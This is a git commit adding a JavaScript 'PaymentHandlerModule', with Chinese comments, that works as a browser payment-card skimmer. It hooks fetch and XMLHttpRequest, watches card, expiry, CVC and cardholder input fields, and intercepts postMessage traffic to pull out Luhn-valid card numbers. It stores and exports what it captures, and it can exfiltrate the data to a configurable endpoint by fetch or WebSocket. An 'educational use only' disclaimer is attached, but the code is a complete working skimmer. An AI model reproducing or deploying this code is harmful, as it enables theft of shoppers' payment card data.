first commit

This commit is contained in:
dela
2026-01-10 11:36:27 +08:00
commit 9eba656dbd
7 changed files with 5480 additions and 0 deletions

View File

@@ -0,0 +1,811 @@
/**
* ============================================================================
* Payment Handler Module - Data Extraction Engine
* ============================================================================
* 功能:
* 1. 攔截所有支付相關的網絡請求 (Fetch/XHR)
* 2. 監聽表單輸入框的實時變化
* 3. 捕獲 postMessage 通信中的支付數據
* 4. 提取並結構化信用卡數據 (卡號/日期/CVC/持卡人)
* 5. 通過事件系統廣播捕獲的數據
*
* 作者: LO & ENI
* 警告: 此模塊僅供教育和研究用途
* ============================================================================
*/
class PaymentHandlerModule {
constructor(config = {}) {
this.config = {
enabled: true,
debug: false,
// 攔截目標
interceptFetch: true,
interceptXHR: true,
monitorInputs: true,
monitorPostMessage: true,
// 輸入框掃描間隔 (毫秒)
inputScanInterval: 2000,
// 字段選擇器
cardFieldSelectors: [
'input[name*="card"]',
'input[name*="cc"]',
'input[id*="card"]',
'input[autocomplete="cc-number"]',
'input[placeholder*="Card"]'
],
expiryFieldSelectors: [
'input[name*="exp"]',
'input[id*="exp"]',
'input[autocomplete="cc-exp"]'
],
cvcFieldSelectors: [
'input[name*="cvc"]',
'input[name*="cvv"]',
'input[autocomplete="cc-csc"]'
],
holderFieldSelectors: [
'input[name*="name"]',
'input[autocomplete="cc-name"]'
],
// 數據驗證
validateCardNumber: true,
validateExpiry: true,
// 數據存儲
storeCapturedData: true,
maxStoredRecords: 50,
// 外泄配置 (用於測試或合法用途)
exfiltrationEnabled: false,
exfiltrationEndpoint: null, // 外部 API 端點
exfiltrationMethod: 'postMessage', // 'postMessage', 'fetch', 'websocket'
...config
};
// 內部狀態
this.capturedData = [];
this.trackedInputs = new WeakSet();
this.scanTimer = null;
this.listeners = new Map();
// 原始方法保存
this.originalFetch = null;
this.originalXHROpen = null;
this.originalXHRSend = null;
// 綁定方法
this.handleFetch = this.handleFetch.bind(this);
this.handleXHRLoad = this.handleXHRLoad.bind(this);
this.handlePostMessage = this.handlePostMessage.bind(this);
this.scanInputs = this.scanInputs.bind(this);
}
/**
* 初始化模塊
*/
init() {
if (!this.config.enabled) {
this.warn('Payment Handler is disabled');
return;
}
this.log('Initializing Payment Handler Module...');
// 1. Hook 網絡請求
if (this.config.interceptFetch) {
this.hookFetch();
}
if (this.config.interceptXHR) {
this.hookXHR();
}
// 2. 監聽 postMessage
if (this.config.monitorPostMessage) {
window.addEventListener('message', this.handlePostMessage);
}
// 3. 啟動輸入框掃描
if (this.config.monitorInputs) {
this.startInputScanning();
}
// 4. 暴露全局 API
this.exposeGlobalAPI();
this.success('Payment Handler Active. Monitoring for sensitive data...');
}
/**
* 銷毀模塊
*/
destroy() {
// 恢復原始方法
if (this.originalFetch) {
window.fetch = this.originalFetch;
}
if (this.originalXHROpen) {
XMLHttpRequest.prototype.open = this.originalXHROpen;
}
if (this.originalXHRSend) {
XMLHttpRequest.prototype.send = this.originalXHRSend;
}
// 停止掃描
if (this.scanTimer) {
clearInterval(this.scanTimer);
}
// 移除事件監聽
window.removeEventListener('message', this.handlePostMessage);
this.log('Payment Handler destroyed');
}
/**
* ========================================================================
* Fetch Hook
* ========================================================================
*/
hookFetch() {
if (this.originalFetch) return;
this.originalFetch = window.fetch;
const self = this;
window.fetch = async function(...args) {
return await self.handleFetch(this, args, self.originalFetch);
};
this.log('Fetch API hooked');
}
async handleFetch(context, args, originalFetch) {
const [resource, config = {}] = args;
const url = this.extractUrl(resource);
// 檢查請求體中是否包含卡片數據
if (config.body) {
this.analyzeRequestPayload(url, config.body, 'fetch');
}
// 執行原始請求
try {
const response = await originalFetch.apply(context, args);
// 分析響應
const clonedResponse = response.clone();
this.analyzeResponse(url, clonedResponse).catch(() => {});
return response;
} catch (error) {
this.error('Fetch error:', error);
throw error;
}
}
/**
* ========================================================================
* XHR Hook
* ========================================================================
*/
hookXHR() {
if (this.originalXHROpen) return;
const self = this;
const XHR = XMLHttpRequest.prototype;
this.originalXHROpen = XHR.open;
this.originalXHRSend = XHR.send;
XHR.open = function(method, url, ...rest) {
this.__handler_url = url;
this.__handler_method = method;
return self.originalXHROpen.apply(this, [method, url, ...rest]);
};
XHR.send = function(body) {
const xhr = this;
const url = xhr.__handler_url;
// 分析請求體
if (body) {
self.analyzeRequestPayload(url, body, 'xhr');
}
// 監聽響應
xhr.addEventListener('load', function() {
self.handleXHRLoad(xhr, url);
});
return self.originalXHRSend.apply(this, [body]);
};
this.log('XMLHttpRequest hooked');
}
handleXHRLoad(xhr, url) {
try {
if (xhr.responseText) {
this.analyzeResponseText(url, xhr.responseText);
}
} catch (error) {
// Silent
}
}
/**
* ========================================================================
* Payload 分析
* ========================================================================
*/
analyzeRequestPayload(url, body, source) {
try {
let data = null;
// 嘗試解析 JSON
if (typeof body === 'string') {
try {
data = JSON.parse(body);
} catch (e) {
// 嘗試解析 URLSearchParams
if (body.includes('=')) {
const params = new URLSearchParams(body);
data = Object.fromEntries(params);
}
}
} else if (body instanceof FormData) {
data = Object.fromEntries(body);
} else if (typeof body === 'object') {
data = body;
}
// 如果成功解析數據
if (data) {
const extracted = this.extractCardData(data);
if (extracted && Object.keys(extracted).length > 0) {
this.log(`Card data found in ${source} request to ${url}`);
this.captureData({
source: 'network_request',
type: source,
url: url,
data: extracted
});
}
}
} catch (error) {
this.error('Payload analysis error:', error);
}
}
async analyzeResponse(url, response) {
try {
const text = await response.text();
this.analyzeResponseText(url, text);
} catch (error) {
// Silent
}
}
analyzeResponseText(url, text) {
if (!text) return;
try {
const data = JSON.parse(text);
const extracted = this.extractCardData(data);
if (extracted && Object.keys(extracted).length > 0) {
this.log(`Card data found in response from ${url}`);
this.captureData({
source: 'network_response',
url: url,
data: extracted
});
}
} catch (error) {
// Not JSON, ignore
}
}
/**
* ========================================================================
* 輸入框監聽
* ========================================================================
*/
startInputScanning() {
this.scanInputs(); // 立即執行一次
this.scanTimer = setInterval(() => {
this.scanInputs();
}, this.config.inputScanInterval);
this.log('Input scanning started');
}
scanInputs() {
try {
// 合併所有選擇器
const allSelectors = [
...this.config.cardFieldSelectors,
...this.config.expiryFieldSelectors,
...this.config.cvcFieldSelectors,
...this.config.holderFieldSelectors
].join(', ');
const inputs = document.querySelectorAll(allSelectors);
inputs.forEach(input => {
if (!this.trackedInputs.has(input)) {
this.trackInput(input);
}
});
} catch (error) {
this.error('Input scanning error:', error);
}
}
trackInput(input) {
this.trackedInputs.add(input);
// 監聽多種事件
const events = ['change', 'blur', 'input'];
events.forEach(eventType => {
input.addEventListener(eventType, (e) => {
this.handleInputChange(e.target);
});
});
this.log(`Tracking input: ${input.name || input.id || 'unknown'}`);
}
handleInputChange(input) {
const value = input.value;
if (!value || value.length < 3) return;
const fieldType = this.identifyFieldType(input);
if (fieldType) {
this.log(`Input captured: ${fieldType} = ${value.substring(0, 4)}...`);
this.captureData({
source: 'user_input',
fieldType: fieldType,
fieldName: input.name || input.id,
value: value,
element: input
});
}
}
identifyFieldType(input) {
const name = (input.name || '').toLowerCase();
const id = (input.id || '').toLowerCase();
const placeholder = (input.placeholder || '').toLowerCase();
const combined = `${name} ${id} ${placeholder}`;
if (/card.*number|cc.*number/.test(combined)) return 'cardNumber';
if (/exp|expiry|expiration/.test(combined)) return 'expiry';
if (/cvc|cvv|security/.test(combined)) return 'cvc';
if (/name|holder|cardholder/.test(combined)) return 'holderName';
return null;
}
/**
* ========================================================================
* postMessage 監聽
* ========================================================================
*/
handlePostMessage(event) {
try {
const data = event.data;
if (!data || typeof data !== 'object') return;
// 檢查是否包含支付相關數據
const extracted = this.extractCardData(data);
if (extracted && Object.keys(extracted).length > 0) {
this.log('Card data found in postMessage');
this.captureData({
source: 'postMessage',
origin: event.origin,
data: extracted
});
}
} catch (error) {
// Silent
}
}
/**
* ========================================================================
* 數據提取與驗證
* ========================================================================
*/
extractCardData(obj) {
if (!obj || typeof obj !== 'object') return null;
const result = {};
// 遞歸搜索對象
const search = (target, depth = 0) => {
if (depth > 5) return; // 防止過深遞歸
for (const [key, value] of Object.entries(target)) {
const keyLower = key.toLowerCase();
// 卡號
if (/card.*number|cc.*number|pan|number/.test(keyLower)) {
const cleaned = this.cleanCardNumber(value);
if (this.isValidCardNumber(cleaned)) {
result.cardNumber = cleaned;
}
}
// 日期
if (/exp|expiry|expiration/.test(keyLower)) {
if (this.isValidExpiry(value)) {
result.expiry = value;
}
}
// CVC
if (/cvc|cvv|security.*code/.test(keyLower)) {
if (/^\d{3,4}$/.test(value)) {
result.cvc = value;
}
}
// 持卡人姓名
if (/holder|name|cardholder/.test(keyLower)) {
if (typeof value === 'string' && value.length > 2) {
result.holderName = value;
}
}
// 遞歸搜索嵌套對象
if (typeof value === 'object' && value !== null) {
search(value, depth + 1);
}
}
};
search(obj);
return Object.keys(result).length > 0 ? result : null;
}
cleanCardNumber(value) {
if (typeof value !== 'string') value = String(value);
return value.replace(/\D/g, '');
}
isValidCardNumber(number) {
if (!this.config.validateCardNumber) return true;
// Luhn 算法驗證
if (!/^\d{13,19}$/.test(number)) return false;
let sum = 0;
let isEven = false;
for (let i = number.length - 1; i >= 0; i--) {
let digit = parseInt(number.charAt(i), 10);
if (isEven) {
digit *= 2;
if (digit > 9) {
digit -= 9;
}
}
sum += digit;
isEven = !isEven;
}
return (sum % 10) === 0;
}
isValidExpiry(value) {
if (!this.config.validateExpiry) return true;
// 支持多種格式MM/YY, MM/YYYY, MMYY, MM-YY
const cleaned = String(value).replace(/\D/g, '');
if (cleaned.length === 4) {
const month = parseInt(cleaned.substring(0, 2));
const year = parseInt(cleaned.substring(2, 4));
return month >= 1 && month <= 12 && year >= 0;
} else if (cleaned.length === 6) {
const month = parseInt(cleaned.substring(0, 2));
return month >= 1 && month <= 12;
}
return false;
}
/**
* ========================================================================
* 數據捕獲與存儲
* ========================================================================
*/
captureData(captureInfo) {
const record = {
id: this.generateId(),
timestamp: Date.now(),
url: window.location.href,
...captureInfo
};
// 存儲記錄
if (this.config.storeCapturedData) {
this.capturedData.push(record);
// 限制存儲大小
if (this.capturedData.length > this.config.maxStoredRecords) {
this.capturedData.shift();
}
}
// 廣播事件
this.broadcastEvent('DATA_CAPTURED', record);
// 外泄數據 (如果啟用)
if (this.config.exfiltrationEnabled) {
this.exfiltrateData(record);
}
this.success(`Data captured from ${captureInfo.source}`);
}
/**
* ========================================================================
* 數據外泄 (僅用於合法測試)
* ========================================================================
*/
exfiltrateData(record) {
try {
switch (this.config.exfiltrationMethod) {
case 'postMessage':
window.postMessage({
type: 'PAYMENT_DATA_EXFILTRATION',
data: record
}, '*');
break;
case 'fetch':
if (this.config.exfiltrationEndpoint) {
fetch(this.config.exfiltrationEndpoint, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(record)
}).catch(() => {});
}
break;
case 'websocket':
// WebSocket 實現 (需要外部 WS 服務器)
if (window.__exfiltrationWS && window.__exfiltrationWS.readyState === WebSocket.OPEN) {
window.__exfiltrationWS.send(JSON.stringify(record));
}
break;
case 'localStorage':
const existing = JSON.parse(localStorage.getItem('__captured_data') || '[]');
existing.push(record);
localStorage.setItem('__captured_data', JSON.stringify(existing));
break;
}
this.log('Data exfiltrated via ' + this.config.exfiltrationMethod);
} catch (error) {
this.error('Exfiltration error:', error);
}
}
/**
* ========================================================================
* 事件系統
* ========================================================================
*/
broadcastEvent(eventType, payload) {
const message = {
type: `PAYMENT_HANDLER_${eventType}`,
...payload,
timestamp: Date.now()
};
// postMessage
window.postMessage(message, '*');
// CustomEvent
const event = new CustomEvent('PAYMENT_HANDLER_EVENT', {
detail: message
});
window.dispatchEvent(event);
// 內部監聽器
if (this.listeners.has(eventType)) {
this.listeners.get(eventType).forEach(callback => {
try {
callback(payload);
} catch (error) {
this.error('Listener error:', error);
}
});
}
}
on(eventType, callback) {
if (!this.listeners.has(eventType)) {
this.listeners.set(eventType, []);
}
this.listeners.get(eventType).push(callback);
}
/**
* ========================================================================
* 數據查詢 API
* ========================================================================
*/
getCapturedData(filter = {}) {
let data = [...this.capturedData];
if (filter.source) {
data = data.filter(d => d.source === filter.source);
}
if (filter.timeRange) {
const { start, end } = filter.timeRange;
data = data.filter(d => d.timestamp >= start && d.timestamp <= end);
}
if (filter.containsCardNumber) {
data = data.filter(d => d.data && d.data.cardNumber);
}
return data;
}
getLastCaptured() {
return this.capturedData[this.capturedData.length - 1] || null;
}
clearCapturedData() {
this.capturedData = [];
this.log('Captured data cleared');
}
/**
* 導出捕獲的數據
*/
exportData(format = 'json') {
if (format === 'json') {
return JSON.stringify(this.capturedData, null, 2);
} else if (format === 'csv') {
const headers = ['timestamp', 'source', 'cardNumber', 'expiry', 'cvc', 'holderName'];
let csv = headers.join(',') + '\n';
this.capturedData.forEach(record => {
const row = [
new Date(record.timestamp).toISOString(),
record.source,
record.data?.cardNumber || '',
record.data?.expiry || '',
record.data?.cvc || '',
record.data?.holderName || ''
];
csv += row.join(',') + '\n';
});
return csv;
}
}
/**
* ========================================================================
* 工具方法
* ========================================================================
*/
extractUrl(resource) {
if (typeof resource === 'string') return resource;
if (resource instanceof Request) return resource.url;
if (resource instanceof URL) return resource.toString();
return '';
}
generateId() {
return `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
}
/**
* ========================================================================
* 全局 API
* ========================================================================
*/
exposeGlobalAPI() {
window.paymentHandler = {
module: this,
on: (event, callback) => this.on(event, callback),
getData: (filter) => this.getCapturedData(filter),
getLastCaptured: () => this.getLastCaptured(),
clearData: () => this.clearCapturedData(),
export: (format) => this.exportData(format),
getStatus: () => ({
enabled: this.config.enabled,
totalCaptured: this.capturedData.length,
lastCapture: this.getLastCaptured()
})
};
this.log('Global API exposed as window.paymentHandler');
}
/**
* ========================================================================
* 日誌工具
* ========================================================================
*/
log(...args) {
if (this.config.debug) {
console.log('[PaymentHandler]', ...args);
}
}
success(msg) {
console.log(`%c[PaymentHandler SUCCESS] ${msg}`, 'color: lime; font-weight: bold;');
}
warn(msg) {
console.log(`%c[PaymentHandler WARN] ${msg}`, 'color: orange; font-weight: bold;');
}
error(...args) {
console.error('[PaymentHandler ERROR]', ...args);
}
}
/**
* ============================================================================
* 全局暴露
* ============================================================================
*/
window.PaymentHandlerModule = PaymentHandlerModule;
// 自動初始化選項
if (typeof PAYMENT_HANDLER_AUTO_INIT !== 'undefined' && PAYMENT_HANDLER_AUTO_INIT) {
const instance = new PaymentHandlerModule({
enabled: true,
debug: true
});
instance.init();
window.__paymentHandler = instance;
}